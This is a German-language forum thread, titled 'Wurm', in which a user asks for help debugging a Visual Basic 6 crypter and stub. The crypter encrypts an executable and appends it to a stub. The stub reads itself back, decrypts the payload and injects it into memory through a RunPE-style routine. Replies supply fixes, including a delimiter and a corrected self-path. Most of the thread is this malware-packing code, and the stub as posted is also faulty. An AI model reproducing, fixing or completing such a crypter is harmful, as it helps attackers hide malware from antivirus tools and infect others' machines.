Wurm

Hallo Leute , bin schon am verzweifeln :(
Kann mir bitte jemand sagen, wo hier der Fehler steckt?
Wäre sehr dankbar.

Crypter :

Code:

---

Private Sub Build_Click(Index As Integer)
 Dim StubData As String
 Dim Data As String
 Dim abc As String
 Dim c As New clsCryptAPI

Open App.Path & "\stub.exe" For Binary As #1
StubData = Space(LOF(1))
Get #1, , StubData
Close #1

Open Text1.Text For Binary As #1
Data = Space(LOF(1))
Get #1, , Data
Close #1

abc = c.EncryptString(Data)

Open App.Path & "\Test.exe" For Binary As #1
Put #1, , StubData
Put #1, , abc
Close #1
               
End Sub

---

Stub :

Code:

---

Private Sub Main()
    Dim sPath  As String
    Dim Data As String
    Dim SplittedData() As String
    Dim cCrypt  As New clsCryptAPI
    Dim def As String
   
    sPath = ThisExe

        Open sPath For Binary As #1
        Data = Space(LOF(1))
        Get #1, , Data
        Close #1
       
        SplittedData() = Split(Data)
        def = cCrypt.DecryptString(SplittedData(1))
        mPEL.InjectExe sPath, StrConv(SplittedData(1), vbFromUnicode)
       
    End Sub

---

Glaube irgendwo in der Stub, aber wo ??

google mal lieber diese cods gibt so viele davon also fertige ^.^

was soll ich da eingeben ? fertiger code bitte ?
ist bestimmt nur eine kleinigkeit hier für die experten den fehler zu finden , oder?


Übrigens der Fehler bei der gecrypteten datei ist :

Laufzeitfehler 9 - ausserhalb der Reichweite

Woher hast du denn das 'ThistExe' genommen ?

Also erstmal heißt es App.Path & App.EXEName & ".exe" und nicht ThisExe... Zweitens musst du einen Delimiter angeben: Also beim Crypter die Zeilen so verändern:

Code:

---

Open App.Path & "\Test.exe" For Binary As #1 Put #1, , StubData  & "|||"  & abc Close #1

---

und dann bei der stub:

Code:

---

        SplittedData() = Split(Data, "|||")

---